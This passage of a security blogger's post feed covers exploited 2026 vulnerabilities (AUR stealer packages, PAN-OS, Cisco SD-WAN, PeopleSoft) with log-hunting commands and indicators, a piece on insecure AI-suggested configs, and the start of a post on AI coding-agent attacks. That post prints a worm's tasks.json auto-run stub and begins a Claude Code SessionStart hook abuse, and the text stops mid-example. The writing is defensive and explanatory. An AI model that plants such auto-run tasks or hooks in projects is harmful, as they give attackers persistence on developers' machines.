&lt;span class="c"&gt;# Vulnerable: anything before 1.9.0. Per JFrog, confirm empirically -- some "fixed" tags weren't.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirm whether the instance is reachable from outside your network at all (from an external host, or via a Shodan/Censys lookup on your own ASN). If a Langflow or LangGraph instance answers to the open internet, treat it as already probed.&lt;/p&gt;

&lt;p&gt;Then grep your access logs for hits on the vulnerable endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"build_public_tmp|/api/v2/files"&lt;/span&gt; access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And look for what should not be there: a shell spawned by the app process, reads of &lt;code&gt;.env&lt;/code&gt;, new entries in &lt;code&gt;/etc/cron.d&lt;/code&gt;, or unexpected outbound connections. This is signature-free territory -- Falco's default ruleset already flags a web process spawning a shell and unexpected outbound connections, which is exactly what you want on day zero, before anyone has written a rule for the specific CVE.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Get it off the public internet.&lt;/strong&gt; There is almost no legitimate reason a Langflow or LangGraph instance should answer to the open web. Auth or a VPN in front.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch to current, then verify the patch closed the hole&lt;/strong&gt; -- check the commit or run the PoC, don't trust the release note.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential the instance could reach&lt;/strong&gt; -- provider keys, cloud creds, DB strings. If it was exposed during any of these windows, assume they walked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give each deployment an owner&lt;/strong&gt; inside the same external attack-surface monitoring as the rest of production. You can't patch what you don't know you're running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add signature-free runtime detection&lt;/strong&gt; (Falco or equivalent) for shell-from-web-process and &lt;code&gt;.env&lt;/code&gt; reads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities here are ordinary. What changed is that we stood up thousands of internet-reachable Python execution environments full of API keys and never put them in the security program that governs everything else we run. If you operate any of this in production: who owns the patch cycle, and how are you finding the instances before an attacker's scanner does?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devops</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Four 2026 Trust Failures You Can't Out-Patch (AUR, PAN-OS, Cisco SD-WAN, PeopleSoft)</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 23 Jun 2026 22:29:00 +0000</pubDate>
      <link>https://dev.to/kkierii/four-2026-trust-failures-you-cant-out-patch-aur-pan-os-cisco-sd-wan-peoplesoft-45bh</link>
      <guid>https://dev.to/kkierii/four-2026-trust-failures-you-cant-out-patch-aur-pan-os-cisco-sd-wan-peoplesoft-45bh</guid>
      <description>&lt;p&gt;Every keynote this spring told us the same thing: AI compressed the gap between disclosure and weaponization, so the answer is to patch faster. Fine. But I went back through what actually got exploited over the last several weeks, and most of the worst of it would not have cared how fast you patched. The bugs were not clever. They were trust assumptions and missing integrity checks we have had named CWE categories for since before half of you started writing code. Here is the mechanism on four of them, with the detection you can run today.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trust model is the attack surface (AUR, no CVE)
&lt;/h2&gt;

&lt;p&gt;Around June 11, somebody adopted a pile of orphaned packages in the Arch User Repository, edited the build recipes, and turned them into credential stealers. Over 400 confirmed, more on the community lists as cleanup dragged on. There was no zero-day and no breach of Arch's own infrastructure. The official repos were never touched.&lt;/p&gt;

&lt;p&gt;The mechanism is the insulting part. The attacker edited &lt;code&gt;PKGBUILD&lt;/code&gt; and &lt;code&gt;.install&lt;/code&gt; files to invoke npm during the build, pull a malicious package (&lt;code&gt;atomic-lockfile&lt;/code&gt;), and drop a stripped Rust binary that harvests SSH keys, tokens, browser data, cloud creds, and messaging sessions. A second wave swapped npm for &lt;code&gt;bun&lt;/code&gt; to dodge signatures keyed on the first. What got exploited was the AUR's trust model: it trusts a package's &lt;em&gt;name and history&lt;/em&gt; over who maintains it right now, and adopting an abandoned package is a sanctioned process. Nobody broke in. They walked through a door the system holds open by design.&lt;/p&gt;

&lt;p&gt;Triage if you run Arch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Foreign (AUR) packages by install date -- anything touched on/after June 11 is suspect&lt;/span&gt;
pacman &lt;span class="nt"&gt;-Qqm&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pkg&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;pacman &lt;span class="nt"&gt;-Qi&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pkg&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"^(Name|Install Date)"&lt;/span&gt; | &lt;span class="nb"&gt;paste&lt;/span&gt; - -
&lt;span class="k"&gt;done&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-k4&lt;/span&gt;

&lt;span class="c"&gt;# Diff the PKGBUILD of anything recent. Treat npm/pip/cargo/bun calls with no&lt;/span&gt;
&lt;span class="c"&gt;# relationship to the software's function as hostile:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s2"&gt;"npm|pip|cargo|bun"&lt;/span&gt; PKGBUILD &lt;span class="k"&gt;*&lt;/span&gt;.install 2&amp;gt;/dev/null

&lt;span class="c"&gt;# The optional eBPF rootkit pins BPF maps under these names. If they exist,&lt;/span&gt;
&lt;span class="c"&gt;# stop trusting the host's own tooling:&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /sys/fs/bpf/hidden_&lt;span class="k"&gt;*&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One nuance the early coverage got wrong: the eBPF rootkit is optional, root-only (needs &lt;code&gt;CAP_BPF&lt;/code&gt;), and does not escalate privilege. It just hides the stealer after the fact. But that changes your cleanup math. If the payload ran as root, &lt;code&gt;pacman -R&lt;/code&gt; does not clean the box -- a package manager only deletes files it knows about, and a rootkit's whole job is to not be one of them. Rebuild from clean media or do not trust the host.&lt;/p&gt;

&lt;h2&gt;
  
  
  CVE-2026-0257: a firewall that trusts any cookie it can decrypt (PAN-OS)
&lt;/h2&gt;

&lt;p&gt;This is a security appliance failing at the one thing it exists to do. The GlobalProtect portal issues an encrypted "authentication override" cookie so users do not re-auth constantly. When the cookie comes back, PAN-OS decrypts it with its private key and then trusts the contents &lt;strong&gt;without verifying a signature.&lt;/strong&gt; The CWE is 565, reliance on cookies without integrity checking.&lt;/p&gt;

&lt;p&gt;It gets worse if the same certificate is reused for the box's HTTPS service, which is a common config, not an exotic one. An attacker connects over HTTPS, pulls the public key, and forges a cookie the firewall accepts as gospel. Rapid7 saw exploitation start May 17. Palo Alto quietly bumped the CVSS from 4.7 to 7.8 on May 29, the same day CISA added it to the KEV.&lt;/p&gt;

&lt;p&gt;You are exposed only if both are true: authentication override cookies are enabled on the portal or gateway, and the cookie-encryption certificate is shared with another service. Check &lt;code&gt;Network &amp;gt; GlobalProtect &amp;gt; Portals/Gateways &amp;gt; Agent &amp;gt; Authentication&lt;/code&gt; for the override setting. Mitigation is to disable authentication override or generate a certificate used &lt;em&gt;only&lt;/em&gt; for cookie encryption and shared with nothing else. Prisma Access was also in the affected list; Panorama and Cloud NGFW were not.&lt;/p&gt;

&lt;p&gt;Hunt your GlobalProtect logs for the PoC's tells:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Forged-cookie sessions in the public PoC showed:&lt;/span&gt;
&lt;span class="c"&gt;#   - cookie auth to the local admin account from low-cost hosting IPs (Vultr, etc.)&lt;/span&gt;
&lt;span class="c"&gt;#   - source user with an EMPTY domain field&lt;/span&gt;
&lt;span class="c"&gt;#   - endpoint_os_version: "Microsoft Windows 10 Pro 64-bit"&lt;/span&gt;
&lt;span class="c"&gt;# Grep gateway-auth login events and validate any "Cookie" auth to local admin:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"gateway-auth.*login.*Cookie"&lt;/span&gt; /path/to/globalprotect.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CVE-2026-20182: a control plane whose auth step doesn't authenticate (Cisco SD-WAN)
&lt;/h2&gt;

&lt;p&gt;This one is a months-long pattern, and Cisco is wearing it. On April 20, CISA KEV-listed three Catalyst SD-WAN Manager flaws that chain into unauthenticated access: CVE-2026-20122 (incorrect use of privileged APIs), CVE-2026-20128 (storing passwords in a &lt;em&gt;recoverable&lt;/em&gt; format), and CVE-2026-20133 (sensitive information exposure). Then on May 14 came the one that should have been the headline: &lt;strong&gt;CVE-2026-20182, CVSS 10.0&lt;/strong&gt;, an authentication bypass in the SD-WAN control plane where the peering-authentication step simply does not authenticate (CWE-287). A sophisticated actor Cisco tracks as UAT-8616 hit it as a zero-day. CISA issued Emergency Directive 26-03 over it, and once PoC code circulated, researchers counted roughly ten additional clusters piling on. June added two more, including a path traversal (CVE-2026-20262) letting an authenticated attacker overwrite any file on the box.&lt;/p&gt;

&lt;p&gt;This is the controller that pushes config across your entire fabric -- the single most privileged box in the network -- and over a few months it shipped recoverable password storage, an info leak, a path traversal, and a control-plane auth mechanism that does not authenticate. After exploiting 20182, UAT-8616 injected an attacker key into the &lt;code&gt;vmanage-admin&lt;/code&gt; account, then logged in over NETCONF (SSH on TCP 830) and started issuing commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hunt for the attacker key injection on SD-WAN control components:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted publickey for vmanage-admin"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Then manually validate every control-connection peering event -- especially&lt;/span&gt;
&lt;span class="c"&gt;# vmanage peering types -- from unrecognized IPs or at unexpected times.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CVE-2026-35273: the one that was actually hard (PeopleSoft)
&lt;/h2&gt;

&lt;p&gt;Credit where due: this was a genuine zero-day. ShinyHunters (Mandiant tracks them as UNC6240) spent late May and early June tearing through Oracle PeopleSoft via CVE-2026-35273, an unauthenticated RCE in the Environment Management component of PeopleTools 8.61 and 8.62, rated 9.8. Mandiant dates exploitation to May 27 through June 9. Oracle's out-of-band advisory did not land until June 10 -- the whole campaign ran before there was anything to patch. Mandiant notified 100+ orgs; 68% were higher ed. CISA KEV-listed it June 12.&lt;/p&gt;

&lt;p&gt;Post-exploit, they dropped MeshCentral agents masquerading as Azure services (C2 at &lt;code&gt;azurenetfiles[.]net&lt;/code&gt;), ran a &lt;code&gt;*_fanout.sh&lt;/code&gt; lateral-movement/defacement script, and exfiltrated with zstd.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Breach marker dropped into PeopleSoft web/app directories:&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Compensating controls (Oracle/Mandiant guidance):&lt;/span&gt;
&lt;span class="c"&gt;#   - Disable the Environment Management Hub (EMHub) service, or remove PSEMHUB&lt;/span&gt;
&lt;span class="c"&gt;#   - Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector&lt;/span&gt;
&lt;span class="c"&gt;#   - Watch outbound SMB (TCP 445) from PeopleSoft hosts to external destinations&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The pattern: you can't patch a broken assumption
&lt;/h2&gt;

&lt;p&gt;Now the macro picture, because it is the actual argument. Per Verizon's 2026 DBIR, the median time to fix a known-exploited vulnerability went &lt;em&gt;up&lt;/em&gt; year over year, 32 days to 43, and the share fully patched fell from 38% to 26%. Rapid7's 2026 report logged a 105% jump in confirmed exploitation of high- and critical-severity flaws (71 cases to 146), and the disclosure-to-weaponization window that CSA and the Zero Day Clock now measure in hours used to take weeks. Offense compresses, remediation expands, and yes, AI compressed the discovery-and-weaponization side. That part is real.&lt;/p&gt;

&lt;p&gt;But look at what it bought the attackers in these four. None of them was a speed problem at root. You cannot patch your way out of a package trusted because the system likes its name, a firewall that trusts any cookie it can decrypt, a control plane whose auth step does not authenticate, or an ERP endpoint left facing the internet. And in two of them -- Cisco's 10.0 and the PeopleSoft RCE -- the attackers were already inside before a patch existed at all. You cannot out-patch a clock that started before the vendor knew.&lt;/p&gt;

&lt;p&gt;"Patch faster" is not wrong so much as beside the point. These were design failures we agreed to ship, and no amount of velocity downstream fixes a broken assumption upstream. The window did collapse. The bugs that walked through it did not need it to.&lt;/p&gt;

&lt;p&gt;What is the worst trust-by-default you have found still shipping in a box you were told to trust? I want the examples.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://blog.vertexops.org/patch-faster-myth" rel="noopener noreferrer"&gt;blog.vertexops.org&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Vibe Coding Isn't the Problem. Not Understanding the Stack Is.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 20 Jun 2026 16:27:46 +0000</pubDate>
      <link>https://dev.to/kkierii/vibe-coding-isnt-the-problem-not-understanding-the-stack-is-4kif</link>
      <guid>https://dev.to/kkierii/vibe-coding-isnt-the-problem-not-understanding-the-stack-is-4kif</guid>
      <description>&lt;p&gt;Here is a config an AI coding tool handed me, barely changed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;postgresql://admin:SuperSecret123@db.internal:5432/app&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-live-4f9a...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# committed straight to the repo
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It runs. That is the whole problem. It runs, the demo works, the reviewer nods, and that secret is now in your git history forever, readable by everyone on the team and anyone who ever breaches the repo.&lt;/p&gt;

&lt;p&gt;I am not a developer. Twenty years in systems engineering and I have never shipped a real application, never owned a production codebase, barely wrote a shell script that did more than move files around. What I have built, the entire time, is the ground the application runs on -- the hosts, the network, the databases, the plumbing. So when AI coding tools showed up and I started building again, I had to work out why my experience felt nothing like the failures everyone posts about.&lt;/p&gt;

&lt;p&gt;Andrej Karpathy coined "vibe coding" in early 2025 and meant it honestly: give in to the vibes, stop looking at the code, let it grow past the point where you understand it. He was describing throwaway weekend projects. The internet kept the "forget the code exists" part and quietly upgraded it to "forget the system exists." Those are not the same thing. You can ignore the code. You cannot ignore the system, because the system is what is actually running.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the model can't see
&lt;/h2&gt;

&lt;p&gt;Every example below is something an AI tool suggested to me in a real session, and overrode -- not because I out-code the model, but because I had stood on that layer before and it had not.&lt;/p&gt;

&lt;p&gt;It proposed &lt;strong&gt;Windows&lt;/strong&gt; as the OS for a security app. Fine technically, wrong on cost and footprint -- a licensed Windows Server host where a free Ubuntu box did the same job lighter. The model has no concept of the bill, because the bill lives a layer below the code.&lt;/p&gt;

&lt;p&gt;It reached for &lt;strong&gt;MySQL&lt;/strong&gt; as the database. Also fine technically. But I am the one operating this thing long-term and at scale, and my experience is in Postgres, not MySQL. The model does not know who owns the system at 2am a year from now. Picking the engine I can actually run under pressure is an operational call, and operations is invisible from the application code.&lt;/p&gt;

&lt;p&gt;It wired up &lt;strong&gt;auth&lt;/strong&gt; and stopped at "login works." Working is the easy 20%. The locked-down version meant the single sign-on going through Microsoft Entra ID (formerly Azure AD) and fenced in with Conditional Access -- so "authenticated" means a trusted device, an allowed location, the right conditions, not just anyone holding a valid token. You do not discover Conditional Access by vibe coding a login form.&lt;/p&gt;

&lt;p&gt;And &lt;strong&gt;networking&lt;/strong&gt;. In the earlier days the confident move was always the same: open the port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# what makes the connection work&lt;/span&gt;
ufw allow 22                                 &lt;span class="c"&gt;# SSH, open to the entire internet&lt;/span&gt;

&lt;span class="c"&gt;# what should have happened&lt;/span&gt;
ufw allow from 10.0.5.0/24 to any port 22    &lt;span class="c"&gt;# scoped to the management network&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both versions connect. Only one of them is safe, and the difference is invisible from the application layer -- it lives in the network, which the model treats as someone else's problem.&lt;/p&gt;

&lt;p&gt;Which brings it back to the secrets it tried to hardcode. The fix is not complicated. It is just a layer the model does not reach for on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled from the environment at runtime, or out of a real secrets store. Passwords hashed, keys and tokens encrypted, none of it in source control. The model will inline all of it into a file headed for the repo unless someone who knows better stops it. I am usually the someone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nothing is siloed
&lt;/h2&gt;

&lt;p&gt;You already know the stack is not two boxes. Frontend, backend, API, auth, database, cache, object storage, queues, reverse proxy, DNS, and a dozen more layers under that -- each failing in its own way and taking its neighbors down with it. That is the part the burned vibe coders miss. They are not, mostly, writing bad application code; the model is good at application code now. They get burned because they think the application code &lt;em&gt;is&lt;/em&gt; the system, when it is one floor of a building whose foundation they never poured and cannot see. The change looks self-contained from where they are sitting. Nothing is self-contained.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I argue with the machine
&lt;/h2&gt;

&lt;p&gt;When I vibe code, the AI writes the application layer and I am still building everything underneath it -- and, more to the point, I know enough to push back. When the model picks an approach I can ask why it chose that, whether the obvious alternative is better, what it is trading away that it did not mention. You cannot question an answer you could not have reasoned about yourself. That is the dividing line, and it has nothing to do with how much code you personally type.&lt;/p&gt;

&lt;p&gt;It changes how I start, too. I do not open with "build me X" -- that is what produces the demo that detonates in production. I spend half an hour talking through the problem first: the constraints, the tradeoffs, where the bodies are buried. Then I have the model write the best prompt it can for what we just worked out, and hand that to the coding agent. It writes a better spec for itself than I can cold, but only after a human has done the thinking the spec is supposed to capture. The thirty-minute conversation is not overhead. It is what keeps the next two hours from being a cleanup job.&lt;/p&gt;

&lt;p&gt;None of this is anti-vibe-coding. It got me building for the first time in my career and it is not going back in the box. The problem was never the vibes. The problem is the self-contained change made by someone who cannot see what it touches, shipped to a system they could not draw on a whiteboard. Give the same tools to someone who knows the foundation, and the foundation is exactly what makes the vibes safe to follow.&lt;/p&gt;

&lt;p&gt;The dividing line is not talent, and it is not how much code you write. It is whether you understand the thing your code is standing on. Everything else is just vibes, and vibes do not hold weight.&lt;/p&gt;

&lt;p&gt;What is the override you keep having to make -- the one the model gets wrong in your stack every single time?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://blog.vertexops.org/vibe-coding-the-stack" rel="noopener noreferrer"&gt;blog.vertexops.org&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devops</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>I Gave Claude Code the Keys. So Did a Worm.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 17 Jun 2026 14:16:53 +0000</pubDate>
      <link>https://dev.to/kkierii/i-gave-claude-code-the-keys-so-did-a-worm-34a4</link>
      <guid>https://dev.to/kkierii/i-gave-claude-code-the-keys-so-did-a-worm-34a4</guid>
      <description>&lt;p&gt;Three vulnerabilities from the last few months, three different layers of the AI-coding-agent stack, one root cause. None of them is the model getting "jailbroken." Each is the agent doing exactly what it's built to do, with your credentials, while someone else supplies the input. Here's the mechanism on each, and what actually mitigates it.&lt;/p&gt;

&lt;p&gt;The first one lives in your agent's config file.&lt;/p&gt;

&lt;h2&gt;
  
  
  The worm that lives in your agent's config (Mini Shai-Hulud)
&lt;/h2&gt;

&lt;p&gt;In May, a self-propagating supply chain worm tracked as Mini Shai-Hulud (attributed to a group called TeamPCP) hit 170+ npm and PyPI packages in a single wave, including TanStack, Mistral AI, and OpenSearch projects. The campaign has kept resurfacing in new variants through June.&lt;/p&gt;

&lt;p&gt;Standard supply-chain stuff until you look at where it persists. It doesn't just harvest credentials and leave -- it writes itself into the developer toolchain's own config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.vscode/tasks.json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;--&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;runs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;automatically&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;folder&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;opened&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tasks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"label"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"build"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shell"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node .vscode/&amp;lt;dropped-script&amp;gt;.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"runOptions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runOn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"folderOpen"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.claude/settings.json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;--&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;abuses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Claude&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Code's&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;SessionStart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;hook&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"SessionStart"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
